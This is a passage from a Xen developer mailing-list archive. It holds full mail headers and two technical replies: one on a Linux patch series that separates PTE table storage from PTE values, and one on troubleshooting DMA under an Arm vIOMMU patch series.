 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, agordeev@linux.ibm.com,
 ryan.roberts@arm.com
Subject: Re: [PATCH RFC 00/11] mm: distinguish PTE table storage from PTE
 values
To: "David Hildenbrand (Arm)" <david@kernel.org>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
From: Muhammad Usama Anjum <usama.anjum@arm.com>
Content-Language: en-US
In-Reply-To: <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P123CA0083.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:190::16) To VI1PR08MB3421.eurprd08.prod.outlook.com
 (2603:10a6:803:80::16)
MIME-Version: 1.0
X-MS-TrafficTypeDiagnostic:
	VI1PR08MB3421:EE_|DB4PR08MB7934:EE_|AM3PEPF0000A79B:EE_|VI1PR08MB5486:EE_
X-MS-Office365-Filtering-Correlation-Id: b8cf6adb-c1c6-45a7-a274-08deed634982
x-checkrecipientrouted: true
NoDisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|366016|1800799024|23010399003|376014|7416014|3023799007|10067099003|11063799006|56012099006|4143699003|6133799003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info-Original:
 27ae1LjLEY50Z5EeRP7Q/q8tSSDc9SWmwFku9CV+TuJxRC/nFYM5Jr4E1CXYMHU/ZDr3iu57/AT8qEOAsb1EoDLYsSCdekLderjOK9ZJWXOkSO96s+IO+/KNnUocpuAwHMM8Tde1g3xTv7C3Cp01lgz70pdGbUL2z0+SP+rYng9orBlFMdwkBrRj8C+zt0LPK1LzZPivrHk8RYzRMoqgbwBDgL8WSAGRRPDpoTrrvoEm8FntMlB0fI9QOeMcTLYZXWCcsQHpSEUrcdCjcEAGNmHhp8cMmhbDOAeNwGoq3dds3VNK08aJWypO/mfWgOpN4tuyC7u/F726D975zInW9Lpjz0GJc0FXFOezWT+4usVgsp1hVFcH/KHWO5SJcQ8eclAvIZWdsS77Fpca7b7bYwxIfQrGc6nBfk0xpUskI7xcF2IR+edx3E/7+nKKSvjJCV+zLeV3Pzums3OlxT0GxIzflSGjn3Q28OTXzcM0FhMiiASmzmFM0LF4U9JzZYOjx6pVLByw7EabVCFj2WltV1Mt6H5tx/sYv6SJ4f4+aWGR6GLCz8qmMyXAq87HK5pYtRSW+n6r2dTTOA7U7t8NP8HLcyw0Vj1lxcVnvGGYBXrFE6YfRPuqm//VQYku3govXRDPbYFujs/waXrR8dLAIQVhoaW0r+BWErgk8mCItDI=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:VI1PR08MB3421.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(23010399003)(376014)(7416014)(3023799007)(10067099003)(11063799006)(56012099006)(4143699003)(6133799003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-Exchange-RoutingPolicyChecked:
 lV+HJ3ueJ2l5y5elCQJJX+s5SoHR2sZNm8scKNnl+TD7Q58qMBWpAORO2HrVTnB/C5K5/frWnR15M1ITLwnQ3a7O5ttKw2ZxLSh9ScpEM/ahj1HxAdNMUvI4phWkY6C4D06Mzc3MdyMi5g2GvkyjbAgqaK7iVLiOvpKic3k5oHryBCBRH0jbZV8VOgAtomn7bphr9mHvW91DArgzhW3QgnEuQ2CV3bVTfSvCAfInbWAbkJNSfoQV50/apIQzYR1k0k2LRwxJ0UAj8nOXOXZvVcNVX3XHhxgruJrl8/DLtJGJ9lwZ5bVUdcvU7WDHJrWAwV0eTG8oO04qFstnUsQcmg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DB4PR08MB7934
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 AM3PEPF0000A79B.eurprd04.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	3c456dad-cd1f-477b-55a0-08deed6320c9
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|7416014|1800799024|376014|36860700016|23010399003|14060799003|35042699022|6133799003|56012099006|11063799006|4143699003|10067099003|18002099003|22082099003|3023799007;
X-Microsoft-Antispam-Message-Info:
	RK+jlwp17Td3LKdcch5EeA8Flg5eO4o5kcv/QznaPPjesm9xkZhax13vzqqR+z81UlcGsEzoPRsjIdcBI4KotbjjK/+Pr0p1LvKsIJFxKtfT+vsIVhJ0A1kaMqQ3MO0HJ37irayzR0aYNzKjTrt9GBzxJC93Wd+dwAWjnAjoQk/i3YW9yfLNCJ5Y2P+Ssu6rxX3EGtkLTT4unP4ryWgyKEHqvQv+Z9C9lW1ZNI6PjSSmajkug8VZ0C8SHqL9Vyee6l7UwuCCWEsyGTJrbNVI+hx1E1YI5Cbyr2l/MlSrWEbSGV6WmsmvKP8fezVp1x7P5cLFGTka22HpHjSna7nk9fPZG0mNfQwT/B7/OXGp95efLcMnvOfNb5lQhpikeR/pD6FA5F0vOuNhIL6NLp/Elr2zPHCkUdwgjVdaOJZ4pVPf0TmIoLP4OidF1yTKeumFoY3Oc7ldMa7eBvyaLGl9E4lunbdCYQi3vSRJOcfkx4ZjB57RbkaC3OuuPyruIzYz9udkTeBGFlk9Ki0NfTjeYfbO8PemryvhV9sauXJPveFarVbuFrxCy0BFz4FKHt1eBQmR0En5ZM1xOknXBePZPFL3OreKAwwi46JVgCKK58XMlF9fdQG7QC2NlbVFj2MB/BhoD3KH2NFAgNErLSHkQN9YfgJRnQ45/MlmXiIMbIBOrTzr8d27JR71rRp5nR+p9V834gTyklpQn+aYSB1NpA==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(7416014)(1800799024)(376014)(36860700016)(23010399003)(14060799003)(35042699022)(6133799003)(56012099006)(11063799006)(4143699003)(10067099003)(18002099003)(22082099003)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	litdzrqOq8Nxahz/S3FEcPDCCS1sl7CMLd4hW0uuGbAi8HuO53YaqNKhCX32+1AKdRioMNVMCZsjbCg1GVJYDegMs237ON1GpZqjWhC8QV0077B1Yqn4S8DWIwIMoS6+oPmnoAeVoHhW0LUO8m0Qzc4pvY5JaOFA82YClCS9UTC58VIDCqNG4iIlZ9P0Njm0mw3nGiPm/QXms1gpiwJsmDz1pF0d7f6cfe/t7cnEvSawbsqHEao/Xd2qfO15T8b19oBuzhv2NOOvxry8VKJP38uiYTaRVrdmlclY+x27c/9+kEuNvmhrqHxVz9R02z8uC7HvIac5XRKgSvy5YU+N71MVWgm18aMnFxQ262FUnkBvnoPxoPEouRhZVRjpaC2nKZmrI8x9cI4XCzlcwQyIMTtfSHZ2WDj1jAvV6JBlOyw4V24tYk+wMsOWoHT0t5mp
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 11:19:42.3355
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: b8cf6adb-c1c6-45a7-a274-08deed634982
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	AM3PEPF0000A79B.eurprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: VI1PR08MB5486
X-purgate-ID: tlsNG-c1860d/1785323987-DF8D587B-7C94090E/0/0
X-purgate-type: clean
X-purgate-size: 2957

On 28/07/2026 8:26 pm, David Hildenbrand (Arm) wrote:
> On 7/27/26 18:46, Muhammad Usama Anjum wrote:
>> Hi,
>>
>> pte_t currently describes both a logical PTE value and an element stored in
>> a PTE table. Consequently, pte_t * can point either to a standalone value,
>> often a stack copy, or to a PTE-table slot. The compiler cannot distinguish
>> these cases. A value pointer can therefore be passed to an interface that
>> expects table storage, while table storage can be read by direct
>> dereference instead of the architecture accessor.
>>
>> This series begins a staged conversion at the PTE level. It introduces
>> hw_pte_t as the element type for PTE-table storage and converts generic MM
>> to use hw_pte_t *. Logical PTE values remain pte_t. Interfaces that
>> intentionally return a value through pte_t *, such as install_pte, remain
>> value interfaces; the relevant parameters are named ptentp to make that
>> distinction explicit.
>>
>> The generic definition aliases hw_pte_t to pte_t, so this series preserves
>> the representation and behaviour of every architecture. ptep_get() keeps
>> its existing READ_ONCE() semantics and converts the stored element through
>> __pte_from_hw(). An architecture can later define a distinct hw_pte_t and
>> convert its PTE interfaces to make the distinction compiler-enforced.
>> Architecture PTE implementations and most architecture code are
>> deliberately left for those later opt-in conversions.
>>
>> Here, hw_pte_t identifies PTE-table storage rather than table lifetime:
>> complete PTE tables use hw_pte_t whether or not they are currently linked
>> into a page-table hierarchy, while standalone copied values use pte_t. The
>> distinction between complete but unlinked tables and hardware-reachable
>> tables was raised during discussion and remains an important point for
>> review.
>>
>> PMD, PUD, P4D and PGD storage are deliberately out of scope. They can be
>> converted in later series after the PTE boundary is agreed, avoiding the
>> PMD-specific cases that made an all-level conversion difficult to review.
>>
>> Most mechanical pointer conversions were generated with the Coccinelle
>> script included below, then audited and fixed by hand.
>>
>> This series does not add a second ptep_get_once() accessor and does not
>> remove or replace STRICT_MM_TYPECHECKS.
> 
> Do you have a pointer at the arm64 part, so people can get a feeling for how an
> actual hw_pte_t implementation can look like.
I've the patches here [1] for arm64 conversion which I used to find usages
in generic code which I missed during development.

[1] https://github.com/musamaanjum/linux/commits/pte0_arm/

I could have posted these patches alongside the generic conversion. But I
thought it would be best to convert generic side first. Please feel free
to let me know if next series should have arm64 side conversion as well.

-- 
Thanks,
Usama



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:24:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:24:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375531.1622663 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2OK-0005xb-Lq; Wed, 29 Jul 2026 11:24:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375531.1622663; Wed, 29 Jul 2026 11:24:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2OK-0005xU-J0; Wed, 29 Jul 2026 11:24:04 +0000
Received: by outflank-mailman (input) for mailman id 1375531;
 Wed, 29 Jul 2026 11:24:03 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <milan_djokic@epam.com>) id 1wp2OJ-0005xO-Mg
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:24:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp2OI-005dG8-VP
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:24:02 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <milan_djokic@epam.com>)
 id 6a69e2cd-bab6-0a2a0a5309dd-0a2a45058996-20
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:24:02 +0200
Received: from [52.101.65.123]
 (helo=DU2PR03CU002.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <milan_djokic@epam.com>)
 id 6a69e2d2-4cb1-0a2a45050019-3465417b51ff-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:24:02 +0200
Received: from AS2PR03MB9587.eurprd03.prod.outlook.com (2603:10a6:20b:595::7)
 by DU2PR03MB9971.eurprd03.prod.outlook.com (2603:10a6:10:46d::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 11:23:58 +0000
Received: from AS2PR03MB9587.eurprd03.prod.outlook.com
 ([fe80::daa7:3b97:acb3:67d5]) by AS2PR03MB9587.eurprd03.prod.outlook.com
 ([fe80::daa7:3b97:acb3:67d5%4]) with mapi id 15.21.0270.009; Wed, 29 Jul 2026
 11:23:58 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=H56pu+WYC0SKcCRXbIlhiCFZ15GEM7McuEQAJPleYyyoMzqNnEsmhgS2ZwUI8SpBaHsgyHbxIcPJisbLQngbVhMJhoCWKFgNgd+CQsZ50SRsBrNzu2AJGG4fjQeo+o/D4IpLWNgC/PVpAxH3/W36i6paXBpTHLt0TqKKQp2fDQHvBOMbEOkVysigJLTxwbqbPzS1Vl1yexaP2YRTirwhLpNa1lrgfytOwEMUN3FMjq2KVkqxvQKDKN5Tr2EbdQ54W+61YT/srPtnRBBAznv0v7356+C+WqtOwyVJNNmv9AM4Wpf7soSFawBurxDV/DbWhMjmpkK6bLG+ZtH6hf9M2g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=HCs+d5r6l/l0DXBIutJNU2EOOviDvM5NMF+cJAGeEzs=;
 b=Z8F2OkJvkdjDwaXvYtg1mLMRkiJ3lFZBlRgt1TBSsED47U+2uWRPHS+tmHSyLzFG+oAmpDpqmCuuJfZS70gkA4cm7r+ym5edPMAMlETsucwFkupuprCOcp3vFKydSktHdKORoDjxrwVns7drxmfCd8qXSjuktIl7OXQtf/gOUpMo0Y5mqYuwauimx/LU3qflofd1fpBgQZHKN7WqG3gnunHlKrL9G0+L/8lcU1uBOHsNzlI8/kNMV6i0bEolrsjLTP5nwJNVUAZOUHGKcPdBZwusysjre5umaytUcd6+1PL1ASL+kFLnV75gWIa+YvypJBPzwLIXb0y377a7vJHbiQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=HCs+d5r6l/l0DXBIutJNU2EOOviDvM5NMF+cJAGeEzs=;
 b=ulAtAbsv3ps9sxAxdFGtlO4I5p/hmPH8TRp4BeYdOE6O/sKii8SI8A6hQOhYVsgGdwxaMIU6qtt3VbcbCbJlWPOaacOASeJxIf6qBEMXiWpfVyOq3KfmDxn/PVRGkoBwfzJWu3cRSUzVy8IEIITpyrvsU6JaOiy/rABHZNliE8rvfJ6y7okfGDc+7vi9iTrRqwmmDP+SMSrYigPH2y32JeDGniZhZA9YGSrqjryFOD192W1f2bvoDHVDa/Si9P2hgn05bx/bRW7TROjXgIiIRM2CKmcEsxBoprvqm5xayfQ1NfhQMAV+2Hnd97/vAosu3iDa2Cp0KTgjnTtU/W6DsA==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
Message-ID: <02bfffb6-9624-4d38-b007-a8f459ae6c7c@epam.com>
Date: Wed, 29 Jul 2026 13:23:56 +0200
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 23/23] doc/arm: vIOMMU design document
To: abhash <a-kumar2@ti.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>,
 Julien Grall <julien@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Stefano Stabellini <sstabellini@kernel.org>
References: <cover.1774918270.git.milan_djokic@epam.com>
 <06d3f9dd178c40b9b2360c24cc2ed55f9559eba6.1774918270.git.milan_djokic@epam.com>
 <5681cfaf-abfd-43ad-982f-dec63882c478@ti.com>
Content-Language: en-US
From: Milan Djokic <milan_djokic@epam.com>
In-Reply-To: <5681cfaf-abfd-43ad-982f-dec63882c478@ti.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: VI1PR07CA0300.eurprd07.prod.outlook.com
 (2603:10a6:800:130::28) To AS2PR03MB9587.eurprd03.prod.outlook.com
 (2603:10a6:20b:595::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS2PR03MB9587:EE_|DU2PR03MB9971:EE_
X-MS-Office365-Filtering-Correlation-Id: 85fa6ba7-62fc-4bb3-9e59-08deed63e1b4
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|1800799024|23010399003|366016|18002099003|22082099003|6133799003|11063799006|5023799004|4143699003|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info:
	dXrhGAohKgQ/qf25/7Sn+BZgkRHtUDAHMvk+/uB66P6xjqkwhX6Tsq1Lx0ARnmwiqcfhLjDYZpm5VHPhbpqs4vXIcLuQD6tiL+SId2Pggg5V3K3/qJtKJNQw8ds4I6SvrWChnJLpCZ7Tw2LcRc/xHqLoM3FWMX11Us4tbeX7NSGmtTplsDdy85jCQUPNj0WYXDs2l72ZrKgMnxWA2mUBTruCB22BPM2B/aa1R5J8pJqH3M3ZhOEk6Hr8DfXJflyF313BowRrE6lEEjE/GbEuHwjzl5USeUJgq7w4SvOYwBlhe7Av/MZvR1DdwpC/nxu8+QFWZDWVgzq9ol+nLk+LX+B7KpQgDnug9q4FLgDKEM05zJ0ydS7ATokHpZdbn5hxFY8hW1RtyUmcVMZJDBUEAhwmre26ACg0Or47gNqlDQRwKAgpvXKhstj8jIwwTyITXTcF7+2e4Hqn/SU3qLO59KSKJ3aRaZZ6ENpN9KzN65RjI8m2kzjgHYtUP11o7txYY5YImccyd8LzM3C1voE5n5OE9OgSl2V/xfhdfAKHR5J6Ya6iI+gwc2BW5pEfGINeFZ9BQvc3tlIeKGul05nL7fr26Rtsz3yljW+jsXqG1p3OGKarroKM4Q/gO/BR9lRWKI9IKFiLuPmCht4BYWVRs6+hB1piK6jfkRJUUuXGXYA=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS2PR03MB9587.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(1800799024)(23010399003)(366016)(18002099003)(22082099003)(6133799003)(11063799006)(5023799004)(4143699003)(56012099006)(10067099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?OWVwcVZGaXg0bmhBRnhheUNtOWJoUmJ6ZFhyZ3hpdm1UdU95NnkyWGwzbTZW?=
 =?utf-8?B?MHNzL3JaM3h4dk11Sk1oa1pTU2tXOXFzSDhVWFZlVXRsWG9VM3ZoVFpzdGta?=
 =?utf-8?B?RDEzb1ZTZUN6ejFqamFBNkUwbC9JYnJWb0d0eFUvMU5mMkwrNVA2VUNvTnAy?=
 =?utf-8?B?aEdSZWdQcFBXZXJJcWtqWkVZZFY1L1BOZ0ozUmpLbjBBZGpPdnRsbU9nRDE1?=
 =?utf-8?B?ZHFIRW5yU05TbnVROXFtdFN4S1NIUVRxSi93byt5WGptT0Z3Zitna1IxdGVw?=
 =?utf-8?B?cDZnR29GV1dWZE1PcjV4aWthVlgyVlNKR25iWW5yUXBISmxpdGZKMDRKYW5D?=
 =?utf-8?B?QXZUQ3NCbmluL2JUeGdWWDJROWZLczJKOW1qM3Ft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OWVCMGpSVzRHai9xVVV3cVQwRHcydUYzVVNIbjVNUVVwTWl3b2Vm?=
 =?utf-8?B?a1hZOGFEeEFzZHdVSU5mMklUdWtiRW4xTG5jeGUzUlA1MktaTzkvNmpYdklV?=
 =?utf-8?B?Rm5qQmVPVVBYMm1rd00rUk45WjBZMmU1eHU0Ym9hUURWT0JuR2ZPSFduQWt6?=
 =?utf-8?B?Y2FRVTNtaTdmdVg0bmdHbVc0aXl4dU12dEZiSDlMNm92b3Jtekdadz09?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 85fa6ba7-62fc-4bb3-9e59-08deed63e1b4
X-MS-Exchange-CrossTenant-AuthSource: AS2PR03MB9587.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 11:23:58.1506
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: KtevO/4B9BxrhoIfucZQUTd4n/PH5CO+bPzbGkTGTAWj1MGBWTXeis8c3w0wACGrFCucTQ9OAeYkdDARnNHeHA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU2PR03MB9971
X-purgate-ID: tlsNG-c201ff/1785324242-F76BD2A1-4AFE03E2/0/0
X-purgate-type: clean
X-purgate-size: 2991

Hi Abhash,

On 7/28/26 12:58, abhash wrote:
> [You don't often get email from a-kumar2@ti.com. Learn why this is important at https://aka.ms/LearnAboutSenderIdentification ]
> 
>> +Performance Impact
>> +==================
>> +
>> +With iommu stage-1 and nested translation inclusion, performance
>> +overhead is introduced comparing to existing,
>> +stage-2 only usage in Xen. Once mappings are established, translations
>> +should not introduce significant overhead.
>> +Emulated paths may introduce moderate overhead, primarily affecting
>> +device initialization and event/command handling.
>> +Testing is performed on Renesas R-Car platform.
> 
> Hi Milan,
> 
> I tested this series on a TI platform. I was not able to get the DMA
> test inside a DOM1 guest
> 
> to work with nested virtualization.
> 
> 
> On the top level, my changes are:
> 
> - Enabled CONFIG_VIRTUAL_IOMMU and CONFIG_VIRTUAL_ARM_SMMU_V3 in Xen
> 
> - Added viommu=true in xen-bootargs
> 
> - Added a "smmu" node in my DOM1 passthrough node, so that it can be
> replaced by the viommu.
> 

Xen inserts the emulated "smmu" node into the domain device tree 
automatically, so there is no need to add it manually. I'm not sure 
whether this is the cause of the DMA failure, but I suspect that the 
device tree node could be overwritten during domain creation. Could you 
try removing the manually added "smmu" node?

> - Added "iommus" for my DMA controller.
> 
> 
> I can see that the smmuv3 is probed successfully inside of DOM1 and my
> dma-controller is added to the iommu group.
> 
> ""
> 
> [Â    0.161594] arm-smmu-v3 4040000.iommu: probing device
> [Â    0.162067] arm-smmu-v3 4040000.iommu: ias 48-bit, oas 48-bit
> (features 0x0000020d)
> [Â    0.162993] arm-smmu-v3 4040000.iommu: allocated 65536 entries for cmdq
> [Â    0.163730] arm-smmu-v3 4040000.iommu: allocated 32768 entries for evtq
> [Â    0.164281] arm_smmu_device_reset
> [Â    0.164559] ARM_SMMU_GBPA reg = 0
> [Â    0.164924] smmu->evtq.q.q_base = 45a0000f
> [Â    0.165609] platform 30100000.dma-controller: Adding to iommu group 0
> 
> ""
> 
> 
> Did you have any changes in the kernel tree as well?
> 
> Could you provide the testing setup that you used?
> 

There are no changes in the kernel tree. The mainline SMMUv3 driver is 
expected to handle the emulated IOMMU device without any issues.

So far, we have tested this feature on the QEMU virt machine and the 
Renesas Gen5 board.

Just as a note, I will be uploading a reworked version of this patch 
series updated according to maintainers suggestions, as well as 
additional fixes identified during more extensive testing. I expect to 
post it sometime next week.

In any case, DMA should work for DomU with the current revision. If you 
still encounter issues after applying the change I suggested, feel free 
to contact me directly.

> 
> Best Regards,
> 
> Abhash
> 

Best regards,
Milan



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:35:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:35:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375542.1622673 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2ZA-0008D2-Ke; Wed, 29 Jul 2026 11:35:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375542.1622673; Wed, 29 Jul 2026 11:35:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2ZA-0008Cv-Hk; Wed, 29 Jul 2026 11:35:16 +0000
Received: by outflank-mailman (input) for mailman id 1375542;
 Wed, 29 Jul 2026 11:35:15 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Usama.Anjum@arm.com>) id 1wp2Z9-0008Cp-Kb
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:35:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp2Z9-00E9Xu-1H
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:35:15 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a69e56e-bab6-0a2a0a5309dd-0a2a450ac4c2-16
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:35:14 +0200
Received: from [40.107.159.64]
 (helo=OSPPR02CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a69e571-f2d2-0a2a450a0019-286b9f405cdc-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:35:13 +0200
Received: from AS9PR06CA0536.eurprd06.prod.outlook.com (2603:10a6:20b:49d::35)
 by AMBPR08MB11653.eurprd08.prod.outlook.com (2603:10a6:20b:737::16)
 with Microsoft SMTP Server (version=TLS1_2,
